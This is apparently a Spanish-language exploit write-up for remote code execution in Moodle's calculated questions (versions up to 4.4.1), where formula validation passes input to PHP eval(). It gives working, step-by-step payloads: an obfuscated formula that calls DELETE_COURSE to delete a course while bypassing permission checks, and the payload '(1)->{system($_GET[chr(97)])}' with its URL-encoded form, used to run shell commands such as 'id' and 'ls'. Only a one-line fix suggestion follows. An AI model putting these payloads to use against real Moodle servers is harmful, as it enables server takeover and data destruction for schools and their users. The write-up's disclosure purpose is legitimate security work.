
Nombre de la aplicación: Moodle
Versión de compilación: moodle-4.4.1
Versiones afectadas: 4.4 a 4.4.1, 4.3 a 4.3.5, 4.2 a 4.2.8, 4.1 a 4.1.11 y versiones anteriores no compatibles
Enlace de descarga: moodle-4.4.1
Los atacantes con permiso para crear o modificar preguntas en un curso de Moodle pueden crear entradas maliciosas para las preguntas calculadas, que pueden explotarse para ejecutar comandos arbitrarios en el sistema subyacente.

La función qtype_calculated_find_formula_errors ayuda a garantizar la validez de las fórmulas introducidas en Moodle, evitando errores de sintaxis.

Las variables se sustituyen por el número 1.0, la fórmula se convierte a minúsculas y se eliminan los espacios en blanco.


La lógica de validación principal se lleva a cabo recorriendo la fórmula e identificando la expresión matemática más a la izquierda, que puede distinguirse por la falta de paréntesis anidados. A continuación, esta expresión se sustituye por un 1.0.

Finalmente, después de que la expresión regular no devuelva ninguna coincidencia adicional, la fórmula se considera válida si solo contiene operadores o números seguros. La fórmula original solo se pasa a eval.
La verificación del resultado se realiza pasando la fórmula a la función php eval() después de un filtrado incompleto. Hay dos enfoques para evitar el proceso de validación lógica:

Al sustituir los marcadores de posición de variables como {a} por sus valores envueltos entre (), si añadimos {a} a la expresión anterior correspondiente a 'PRINTF', el resultado será 'PRINTF'(1), por lo que se puede definir una fórmula de respuesta con dos partes: a (function_name) y a {variable}.
2) Las variables no definidas no se sustituyen antes de pasarse a la función eval(), por lo que no se ven afectadas como parte de la fórmula. Además, las comprobaciones de saneamiento para los nombres de variables son menos estrictas que las implementadas para todas las demás partes de la fórmula. Esto puede explotarse para invocar funciones arbitrarias al utilizar la sintaxis object->{"member"} de php.
Cree una pregunta calculada con una variable, por ejemplo {a}

Guarde la pregunta y defina el rango de valores de la variable exactamente como el ID del curso, que es 3.

Guarde la pregunta y luego vuelva a editar la expresión para que sea:
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

Guardar la pregunta modificada dará lugar a un error, pero la pregunta se guardará de todos modos. Vuelva al banco de preguntas y obtenga una vista previa de la pregunta; la función DELETE_COURSE eliminará el curso con el ID especificado, omitiendo cualquier comprobación de permisos.


Cree una pregunta calculada. Establezca la fórmula de respuesta en:
(1)->{system($_GET[chr(97)])}

La expresión se modifica a 1-0-system($_GET{chr(97)})

Intercepte la solicitud y modifíquela de nuevo a (1)->{system($_GET[chr(97)])}
%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

Aparece el error exception-system():Argument#1($command) cannotbe empty

Proporcione el comando deseado añadiendo &a=[arbitrary command] a la URL. La salida del comando del sistema especificado se incluirá al comienzo de la respuesta HTTP resultante.
A=id

A=ls

Corrija la función de saneamiento qtype_calculated_find_formula_errors para que /question/type/calculated/questiontype.php devuelva siempre falso si las preguntas calculadas no se utilizan.